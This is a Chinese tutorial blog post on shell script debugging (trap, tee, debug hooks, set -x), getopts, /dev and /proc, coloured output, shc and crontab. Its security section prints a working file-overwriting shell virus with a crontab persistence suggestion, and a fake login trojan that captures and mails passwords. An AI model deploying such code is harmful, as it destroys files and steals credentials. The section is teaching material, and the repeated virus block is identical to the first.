原文:shell浅谈之十二shell调试及主题

作者:乌托邦2号

一、简介

​ Shell中不存在调试器,对脚本中产生的语法错误只会产生模糊的错误提示信息。shell中也经常存在隐涩的逻辑错误,使得脚本无法按照程序员的意愿运行。因此shell脚本的调试有了很大的难度。好的编程风格和习惯也是为了减小调试程序的难度。

二、详解

1、Shell调试技术

Shell脚本调试就是发现引发脚本错误的原因以及在脚本源代码中定位发生错误的行,常用的手段包括分析输出的错误信息、通过在脚本中加入调试语句、输出调试信息来辅助诊断错误、利用调试工具等。

(1)shell错误

​ Shell脚本的错误可以分为两类,第一类是Shell脚本中存在的语法错误,这种比较直观,只要定位发生错误的代码段或行,比如漏写关键字、漏写引号、空格符该有而未有、变量大小写不区分等;第二类是Shell脚本能够执行完毕,但并不是按照我们所期望的方式运行,即存在逻辑错误,这种比较隐晦,并不影响脚本的正常执行。

#!/bin/bash
count=1
MAX=5
 
while [ "$SECONDS" -le "$MAX" ];do
  echo "This is the $count time to sleep."
  count=$count+1
  ###正确应是: let count=$count+1,把count当作整数处理
  sleep 2
done
 
echo "The running time of this script is $SECONDS"
#!/bin/bash
 
Var1=56
Var2=865
 
let Var3=Var1*var2
###正确的是:   let Var3=Var1*Var2,未区分大小写字母,变量var2=0
echo "$Var1*$Var2=$Var3"

(2)shell调试技术之一:trap命令

​ trap命令是linux内建命令,用于捕捉信号。trap命令可以指定收到某种信号时所执行的命名,格式为:trap command sig1 sig2 ... sigN。

​ Shell脚本执行会产生三个所谓的“伪信号”(因为这三个信号是shell产生的,而其他信号是由操作系统产生的),可以利用trap命令捕获这三个“伪信号”。它们分别是EXIT、ERR和DEBUG,其产生条件如下表:

img

trap命令通过捕捉三种“伪信号”能方便地随时监控变量的变化、正常函数和脚本的结束、跟踪异常的函数和命令。

#利用trap命令捕捉DEBUG信号跟踪变量值
#!/bin/bash
 
trap 'echo "before execute line:$LINENO, a=$a,b=$b,c=$c"' DEBUG  #LINENO是shell内部变量,打印执行命令的行号
a=0
b=2
c=100
while :                            #冒号相当于TRUE
do
    if ((a >= 10))                 #i大于等于10时,跳出while循环
    then
        break
    fi
echo "*************"
let "a=a+2"
let "b=b*2"
let "c=c-10"
done

img

​ 上图为部分输出截图,其中由于trap命令的存在,每执行一行命名前都输出a、b、c三个变量的值。执行第5行a=0前捕捉到DEBUG信号,打印未初始化的三个变量的值。trap、do、then、done、fi都无DEBUG信号发出。

​ 利用trap命令捕获DEBUG信号,只需一条trap语句就可以完成对相关变量的全程跟踪,分析运行结果可以看到整个脚本的执行轨迹,判断哪些条件分支执行了哪些条件分支没有执行。

#利用trap命令捕捉EXIT信号跟踪函数结束
#!/bin/bash
 
fun1()
{
  echo "This is an correct function"
  var=2010
  return 0              #return不发送EXIT信号
}
trap 'echo "Line:$LINENO,var=$var"' EXIT
echo "*************"
fun1
echo "------------"
exit 0              #发送EXIT信号,执行结果: Line:1,var=2010
#trap捕捉ERR信号跟踪函数或命名异常,一条命令返回非零状态码时即执行不成功
#!/bin/bash
 
fun2()
{
  echo "This is an error function"
  var=2010
  return 1               #非零被认为是异常函数,产生ERR信号
}
trap 'echo "Line:$LINENO,var=$var"' ERR
fun2
ipconfig                 #错误的命令,正确是ifconfig,产生ERR信号

(3)shell调试技术之二:tee命令

​ tee命令产生的数据流向字母T,将一个输出分为两个支流,一个到标准输出另一个到某输出文件。tee的特性可以使用到shell的管道及输入/输出重定向的调试上,使用管道时,其中间结果不会显示在屏幕上,若管道连接的一系列命名的执行并非预期结果,则调试出现困难,此时就得借助于tee命名。

利用tee命令获得机器的IP地址(非常实用)。

#!/bin/bash
 
localIP=`cat /etc/sysconfig/network-scripts/ifcfg-p4p1 | tee debug.log | grep 'IPADDR' | tee -a debug.log | cut -d= -f2 | tee -a debug.log`
echo "The local IP is: $localIP"

img

#!/bin/bash
 
localIP=`ifconfig | grep 'inet addr' | grep -v '127.0.0.1' | cut -d: -f3 | awk '{print $1}'`
echo "The local IP is: $localIP"

在当前目录下会产生debug.log文件,tee -a追加到文件,因此debug.log保存了处理的信息,查看文件了解管道间的数据流向。

tee命令适用于管道的调试,观察tee命令产生的中间结果文件,可以清晰地看出管道间的数据流向。

(4)shell调试技术之三:调试钩子

​ 调试钩子也称为调试块,实际上是if/then结构的代码块,在程序开发调试阶段将DEBUG设置成TRUE,到发布阶段将DEBUG设置成FALSE,关闭调试钩子,无须删除代码。调试钩子的代码:

DEBUG()
{
  if [ "$DEBUG" = "true" ]
  then
    echo "Debugging information:"
  fi
}

调试钩子中DEBUG是一个全局变量,开发调试阶段,可利用export DEBUG=true命令将DEBUG设置成true,执行调试信息。

#!/bin/bash
 
DEBUG()
{
  if [ "$DEBUG" = "true" ]
  then
    $@                         #输出所有参数信息与$*等价
  fi
}
 
a=0
b=2
c=100
DEBUG echo "a=$a b=$b c=$c"    #第1个调试钩子
while :                         
do
  DEBUG echo "a=$a b=$b c=$c"  #第2个调试钩子
  if ((a >= 10))                 #当a大于等于10时,跳出while循环
 then
        break
    fi
 
let "a=a+2"                       #a、b、c值不断变化
let "b=b*2"
let "c=c-10"
done

img

(5)shell调试技术之四:shell选项

利用set命令开启和关闭shell选项的方法,不用修改源代码即可输出相关的调试信息。用于脚本的调试选项是-n、-x和-c。

img

​ Shell脚本编写完成后,使用-n选项来测试脚本是否存在语法错误是一个很好的习惯。因为实际执行脚本会对系统环境产生影响,则执行时发现语法错误还得做一系列的系统环境的恢复工作,才能继续测试脚本。脚本中开启-n选项,使用set -n或set -o noexec,脚本会检测语法并不执行。也可以利用sh命名直接对脚本进行语法检查:sh -n 脚本名。

​ -x选项用来跟踪脚本的执行,把实际执行的每一条命令行显示出来,并在行首显示一个“+”符号,“+”符号后面显示的是经过了变量替换之后的命名行内容,有助于分析实际执行的命令。-x选项经常与trap捕捉DEBUG信号结合使用,这样既可以输出实际执行的每一条命令又可以逐行跟踪相关变量的值,对调试有很大的帮助。可在脚本内使用set -x或使用sh -x执行脚本。

-x选项以“+”作为提示符表示调试信息,显得美中不足,可以通过shell提供的三个有用的内部变量定制-x选项的提示符。设置PS4使得-x提示符能包含LINENO和FUNCNAME等丰富的信息。

img

#!/bin/bash
 
isroot()           #判断执行脚本的用户是否是root
{
	if [ "$UID" -ne 0 ]
  then
    return 1
  else
    return 0
  fi
}
 
echoroot()
{
	isroot                #调用函数
  if [ "$?" -ne 0 ]
  then
    echo "I am not ROOT user!"
  else
    echo "ROOT user!"
  fi
}
 
export PS4='+{$LINENO:${FUNCNAME[0]}:${FUNCNAME[1]}}'   #对PS4变量重新赋值
echoroot

-c选项作用是使用shell解释器从一个字符串中而不是文件中读取并执行shell命名,仅用于临时测试一小段脚本的执行结果,而在shell命令行直接输入也会达到相同效果, 因此使用频率不高。如sh -c 'a=2;b=2012;let c=$a*$b;echo "c=$c"',命令间用分号分隔。

2、Shell主题

(1)Shell说明和用户提示信息

#!/bin/bash
 
flag=0;
 
echo "This script is used to username and password what you input is right or wrong. "
 
for ((i=0 ; i < 3 ; i++))
do
    echo -n "Please input your name: "
    read username
 
    echo -n "Please input your password: "
    read password
 
    if test "$username" = "user" -a "$password" = "pwd" 
    then
        echo "login success"
        flag=1
        break
    else 
        echo "The username or password is wrong!"
    fi
done
 
if [ "$flag" -eq "0" ]
then
    echo "You have tried 3 times. Login fail!"
fi

(2)Shell特殊命令,shift和getopts

shift命令主要用于向脚本传递参数时每次将参数位置向左偏移一位。

使用shift显示所有的命令行参数:

#!/bin/bash
 
echo "number of arguments is $#"
 
echo "What you input is: "
 
while [[ "$*" != "" ]]  #等价于while [ "$#" -gt 0 ]
do
    echo "$1"
    shift
done

Shell中提供了一条获取和处理命令行选项的getopts语句,使得控制多个命令行参数更加容易。格式为getopts option variable,option中包含一个有效的单字符选项。若getopts命令在命令行中发现了连字符,那么命名将用连字符后面的字符与option相比较,若匹配成功则 把变量variable值设为该选项,若匹配不成功,则variable设为“?”。当getopts发现连字符后面没有字符后会返回一个非零的状态值。

有时有必要在脚本中指定命令行选项取值,getopts提供了一种方式,在option中将一个冒号放在选项后,如getopts ab: variable表示-a后可以不加实际值进行传递,而-b后必须取值,如果试图不取值传递此选项,会返回一个错误信息。有时错误信息提示并不明确,需要自己定义提示信息屏蔽它,那么将冒号放在option的开始部分,如getopts :ab: variable。

#!/bin/bash
 
while getopts ":fh:" optname 
 do       
      case "$optname" in
      f)
             echo "Option $optname is specified"
            ;;
       h)
             echo "Option $optname has value $OPTARG"
             ;;
      \?)
             echo "Unknown option $OPTARG"
             ;;
       :)
             echo "No parameter value for option $OPTARG"
             ;;
       *)
           echo "Unknown error while processing options"
             ;;
        esac
 done
 
shift $(($OPTIND - 1))
 
for options in "$@"
do
    if [ ! -f $2 ]
    then
        echo "Can not find file $options . "
    else
        echo "Find the file $options . "
    fi
done

img -f用于判断输入的第二哥命令行参数是否为文件,而-h 后必须取值。

(3)Shell中/dev文件系统

​ Shell中存在伪文件系统/dev,该文件系统包含每个物理设备对应的文件。若需挂载物理设备或虚拟物理设备则可通过操作/dev完成。/dev/null和/dev/zero是两个特殊的伪设备,它们是虚拟的仅仅存在于软件的虚拟设备中。

​ /dev/zero是一个非常有用的伪设备,它用于创建空文件也可以创建RAM文件,可通过/dev/zero来建立一个交换文件。

​ /dev/null相当于一个文件的“黑洞” ,它非常接近于一个只写文件,所以写入它的内容都会永远丢失。若不想使用stdout,可以通过使用/dev/null将stdout禁止。如find / -name string > /dev/null,把查找的错误提示转移到特定的目录中。shell中会有如下命令: >/dev/null 2>&1,其中”>/dev/null“等价于”1>/dev/null“表示标准输出重定向到空设备文件,“2>&1”表示标准错误输出重定向等同于标准输出,也重定向到空设备文件。例如find / -name string > result.log 2>&1(等价于find / -name string 2> result.log 1>&2)。

(4)Shell中/proc文件系统

​ /proc文件系统是一个伪文件系统,它只存在内存中而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过/proc得到系统的信息并可以改变内核的某些参数。由于系统的信息(如进程)是动态改变的,所以/proc文件系统是动态地从系统内核读出所需信息并提交的。/proc内的文件常被称为虚拟文件,有些文件使用查看命令查看会返回大量信息但文件本身的大小却会显示0字节。

在/proc下有三个很重要的目录:net、scsi和sys。sys目录可写,可通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。

cat /proc/interrupts查看中断,/proc/sys目录修改内核参数来优化系统,/proc中有编号(为进程ID)的子目录可以查看运行中的进程信息,cat /proc/filesystems | awk -F'\t' '{print $2}'查看文件系统支持的类型,cat /proc/net/sockstat查看网络信息,cat /proc/net/tcp查看TCP的具体使用情况。

(5)带颜色的shell脚本

​ Shell脚本中,脚本执行终端的颜色可以使用“ANSI非常规字符序列”来生成,如echo -e "\033[44;37;5m Hello World\033[0m",将前景色设置成蓝色,背景色设置成白色。-e用于激活特殊字符的解析器,\033引导非常规字符序列,m意味着设置属性并结束非常规字符序列,"44;37;5"可以生成不同颜色的组合,数值和编码的前后顺序无关。

​ 选择的编码表:

img

img

#输出彩色的字符串的形式
#!/bin/bash
 
cfont()
{
    while (("$#"!= 0))
    do
				case $1 in
        -b)
            echo -ne " "
            ;;
        -t)
            echo -ne "\t"
            ;;
        -n)     
            echo -ne "\n"
            ;;
        -black)
            echo -ne "\033[30m"    #黑色前景
            ;;
				-red)
            echo -ne "\033[31m"    #红色前景
            ;;
				-green)
             echo -ne "\033[32m"   #绿色前景
             ;;
				-yellow)
             echo -ne "\033[33m"   #黄色前景
             ;;
				-blue)
             echo -ne "\033[34m"   #蓝色前景
             ;;
				-purple)
             echo -ne "\033[35m"   #紫色前景
             ;;
				-cyan)
             echo -ne "\033[36m"   #青色前景
             ;;
 				-white|-gray)
             echo -ne "\033[37m"   #白色/灰色前景
             ;;
        -reset)
         		 echo -ne "\033[0m"    #重新设置属性到默认设置
             ;;
        -h|-help|--help)
             echo "Usage: cfont -color1 message1 -color2 message2 ..."
             echo "eg: cfont -red [ -blue message1 message2 -red ]"
             ;;
         *)
             echo -ne "$1"
             ;;
        esac
        
        shift
    done
}
 
cfont -green "Start service ..." -red  " [" -blue " OK" -red " ]" -black -n

img

3、Shell脚本安全

(1)shc工具加密shell脚本

若Shell脚本中包含敏感的口令或其他重要信息,而且不希望用户通过ps -ef捕获敏感信息,可用shc工具给脚本增加一层额外的安全保护。shc使用RC4加密算法把shell脚本转换成二进制可执行文件(支持静态和动态链接)。

shc安装后使用命名进行加密:shc -v -f filename.sh,-v是输出详细编译日志,-f指定脚本的名称。加密成功后会生成以.x和.c结尾的两个新文件,如生成可执行文件filename.sh.x和C语言源文件filename.sh.x.c。

(2)shell脚本简单病毒

最原始的shell病毒:

#!/bin/bash
 
for file in *
do
    cp $0 $file
done

​ 遍历当前文件系统的所有文件,然后覆盖所有文件,但linux是多用户操作系统,它的文件具有保护模式,所以上述脚本会报出一大堆错误,所以会很快被管理员发现并制止它的传染,为增强其隐蔽性对脚本进行改进:

#!/bin/bash
 
for file in *
do
    if test -f $file          #测试是否是文件
    then
        if test -x $file      #测试文件是否可执行
        then
            if test -w $file  #测试文件是否可读
            then
                grep -s "myself_flag" $file > .temp 2>&1   #判断自己的一个标志,是否为该shell脚本
                #可以写成 if file $file | grep -s 'shell script' > /dev/null
                if [ $? -ne 0 ] 
                then
                    cp -f $0 $file
                fi
             fi
         fi
     fi
done
rm .temp -f

但是脚本病毒一旦在感染完毕后就什么也不做了,它没有像二进制病毒那样的潜伏的危害性,只是简单的覆盖宿主而已。

下面利用传统的二进制病毒的感染机制并优化的代码:

#!/bin/bash
 
for file in *
do
    if test -f $file          #测试是否是文件
    then
        if test -x $file      #测试文件是否可执行
        then
            if test -w $file  #测试文件是否可读
            then
                grep -s "myself_flag" $file > .temp 2>&1   #判断自己的一个标志,是否为该shell脚本
                #可以写成 if file $file | grep -s 'shell script' > /dev/null
                if [ $? -ne 0 ] 
                then
                    cp -f $0 $file
                fi
             fi
         fi
     fi
done
rm .temp -f

接着可以使用crontab命令让系统以一定的时间间隔调度这些命令执行或设置成开机自动运行即可。

(2)shell木马

Shell中同样存在木马,它看上去无害,却隐藏着很大的危险。

#!/bin/bash
clear
cat /etc/issue
echo -n "login:"
read login
echo -n "password:"
stty -echo
read passwd
stty sane
mail $USER <<- fin
login:$login
passwd:$passwd
fin
echo
echo "login incorrect"
sleep 1
exit 0

一个盗取别人passwd的shell脚本,当然有经验的linux使用者以下就能区分出来,可以将该木马做的更隐蔽。

4、Shell简单应用

(1)将文本转换成HTML

B Liu:Shanghai Jiaotong University:Shanghai:China
C Lin:University of Toronto:Toronto:Canada
D Hou:Beijing University:Beijing:China
J Luo:Southeast University:Nanjing:China
Y Zhang:Victory University:Melbourne:Australia

新建htmlconver.sh脚本,chmod +x htmlconver.sh,然后执行./htmlconver.sh < html.txt > conver.html。

#!/bin/bash
cat << CLOUD
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
 <HEAD>
   <TITLE>
   information
   </TITLE>
 </HEAD>
 <BODY>
   <TABLE>
CLOUD
 
sed -e 's/:/<\/TD><TD>/g' -e 's/^/<TR><TD>/g' -e 's/$/<\/TD><\/TR>/g'
#等价于awk 'BEGIN {FS=":";OFS="</TD><TD>"} gsub(/^/,"<TR><TD>") gsub(/$/,"</TD></TR>") {print $1,$2,$3,$4}'
cat << CLOUD
 </TABLE>
 </BODY>
 </HTML>
CLOUD

(2)crontab定时任务

​ crondtab是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,crondtab进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

​ 每个用户都有自己的调度crontab,可以使用crontab -u user -e或切换到user使用vim /etc/crontab(也可crontab -e)编辑crontab定时任务调度表。crontab命令选项意义如下:

img

linux还定义了两个控制文件来控制crontab,它们是:/etc/cron.allow和/etc/cron.deny。/etc/cron.allow表示哪些用户能使用crontab命令,若cron.allow为空则表明所有用户都不能安排定时任务;若该文件不存在则会查看/etc/cron.deny,只有不包含在这个文件中的用户才可以使用crontab命令;若cron.deny为空则任何用户都可以安排作业。两个文件同时存在cron.allow优先,同时不存在只有root用户能安排定时任务。

打开/etc/crontab:

img

crontab文件的基本格式 : *   *   *   *   *  command minute hour day month week command

其中:

minute: 表示分钟,可以是从0到59之间的任何整数(每分钟用*或者 */1表示)。

hour:表示小时,可以是从0到23之间的任何整数(0表示0点)。

day:表示日期,可以是从1到31之间的任何整数。

month:表示月份,可以是从1到12之间的任何整数。

week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。

command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。

在以上各个字段中,还可以使用以下特殊字符:

星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。

逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”

中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”

正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。

crontab例子如:下午4:50删除/abc目录下所有子目录和文件: 50 16 * * * rm -r /abc/*

crontab实现定时文件备份的例子,shell脚本实现备份功能,在crontab中定时每天执行脚本。脚本名称为fileback.sh.

#使用root权限将/etc目录下的所有内容进行备份
#fileback.sh
#!/bin/bash
 
DIRNAME=`ls /root | grep bak`       #获取/root/bak字符串
 
if [ -z "$DIRNAME" ]                #如果/root/bak不存在,则创建一个
then
mkdir /root/bak
cd /root/bak
fi
 
#获取当前年、月、日数据存储到YY、MM、DD变量中
YY=`date +%y`
MM=`date +%m`
DD=`date +%d`
 
BACKETC=$YY$MM$DD_etc.tar.gz        #备份文件的名字
tar zcvf $BACKETC /etc              #将/etc所有文件打包
echo "fileback finished!"

​ 先登录root用户,cat /etc/crontab,在末尾加上:59 23 * * * /bin/bash /use/bin/filebach.sh,表示每天23:59执行一次 filebach.sh脚本。

三、总结

(1)Shell脚本调试难度大,熟练使用trap、tee、调试钩子和shell选项将更方便地调试错误。

(2)Shell下有颜色的脚本和脚本安全的内容还是比较有趣的,读者可以网上搜索更多的内容来补充。

(3)crontab定时任务对于Shell脚本的定时计划性执行还是非常有用的。